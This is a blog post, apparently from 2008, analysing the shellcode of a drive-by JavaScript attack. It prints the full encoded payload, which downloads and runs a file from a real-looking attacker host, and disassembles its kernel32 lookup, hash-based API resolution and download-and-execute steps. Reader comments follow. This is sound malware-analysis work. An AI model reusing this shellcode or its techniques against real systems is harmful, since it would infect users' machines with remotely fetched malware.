Menu:

JavaScript attack - part II

Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.

Let's meet the shellcode:

var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");

It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.

First, the shellcode obtains the address of kernel32.dll. It uses the PEB-based technique first described by The Last Stage of Delirium:

  0000000E    mov eax,[fs:0x30]         ; get the PEB
  00000014    js 0x22<find_kernel32_9x>
find_kernel32_nt:
  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA
  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList
  0000001C    lodsd
  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base
  00000020    jmp short 0x2b
find_kernel32_9x:
  00000022    mov eax,[eax+0x34]
  00000025    lea eax,[eax+0x7c]
  00000028    mov ebp,[eax+0x3c]

Once the base address of kernel32.dll is known, it can be used to identify the address of useful functions exported in this DLL. To do so, the shellcode defines a routine, let's call it find_function, that walks the export name table of the given DLL and looks for a given function name. Instead of matching directly on the name of the function, the shellcode computes a simple hash of the name, and uses that to locate interesting functions. This is probably done to save some space and obfuscate the purposes of the code.

The find_function expects two parameters: the base address of the DLL (contained in the ebp register) and a pointer to the hash of the function to identify (in the edi register):

find_function:
  000000C4    push ecx  
  000000C5    push esi
  000000C6    mov esi,[ebp+0x3c]        ; get the PE header
  000000C9    mov esi,[esi+ebp+0x78]
  000000CD    add esi,ebp
  000000CF    push esi
  000000D0    mov esi,[esi+0x20]        ; get the export name table
  000000D3    add esi,ebp
  000000D5    xor ecx,ecx
  000000D7    dec ecx
hash_init:
  000000D8    inc ecx
  000000D9    lodsd
  000000DA    add eax,ebp
  000000DC    xor ebx,ebx               ; ebx stores the computed hash
hash_update:
  000000DE    movsx edx,byte [eax]
  000000E1    cmp dl,dh
  000000E3    jz 0xed<hash_done>
  000000E5    ror ebx,0xd
  000000E8    add ebx,edx
  000000EA    inc eax
  000000EB    jmp short 0xde<hash_update>
hash_done:
  000000ED    cmp ebx,[edi]             ; have we found the given hash?
  000000EF    jnz 0xd8<hash_init>
  000000F1    pop esi
  000000F2    mov ebx,[esi+0x24]
  000000F5    add ebx,ebp
  000000F7    mov cx,[ebx+ecx*2]
  000000FB    mov ebx,[esi+0x1c]
  000000FE    add ebx,ebp
  00000100    mov eax,[ebx+ecx*4]
  00000103    add eax,ebp
  00000105    stosd                     ; store the address in place of the hash
  00000106    pop esi
  00000107    pop ecx
  00000108    ret

The hash value is computed with simple ror and add operations. I use the following code to compute the hash of a function name:

unsigned int ror(unsigned int num, int places) {
    return (num >> places) | (num << (32 - places));
}

unsigned int get_hash(const char *name) {
    const char *ch;
    unsigned int hash = 0;

    for (ch = name; *ch; ch++) {
        hash = (ror(hash, 0xd) + *ch);
    }   

    return hash;
}

The hashes of the functions to locate are stored in a table at the end of the shellcode. With the above program and a list of all the functions in kernel32.dll (obtained from here), it is easy to indentify the name of the corresponding functions:

  0000010E      dd 0EC0E4E8Eh           ; LoadLibraryA (hash)
  00000112      dd 0E8AFE98h            ; WinExec (hash)
  00000116      dd 73E2D87Eh            ; ExitProcess (hash)
  0000011A      dd 5B8ACA33h            ; GetTempPathA (hash)
  0000011E      dd 702F1A36h            ; URLDownloadToFileA (hash)

At this point, the shellcode loads urlmon.dll and finds the function URLDownloadToFileA:

  00000037    push dword 0x6e6f
  0000003C    push dword 0x6d6c7275
  00000041    push esp
  00000042    call near [esi]           ; LoadLibraryA("urlmon")
  00000044    mov ebp,eax
  00000046    call 0xc4<find_function>  ; find_function(urlmon.dll, URLDownloadToFileA)

The shellcode then creates a temporary file (using the GetTempPathA function), downloads a file from http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA function), executes the downloaded file (via WinExec), and finally exits (ExitProcess).

Not bad for what initially just looked like a long string in a JavaScript script...


  1. William September 1, 2008

    It's easy to unescape the shellcode and generate the corresponding object code

    But it is hard for me!!!Can you give more detail info.

  2. michael molsner October 25, 2008

    Hello,

    Nice content you have here!
    Your page came up in search results for "URLDownloadToFileA" :-)

    Cheers, Michael

  3. marco October 26, 2008

    Michael,

    Thanks! Yeah, the URLDownloadToFileA seems to be a fairly popular function for exploits...


To leave a comment, complete the form below. Mandatory fields are marked *.

Comment details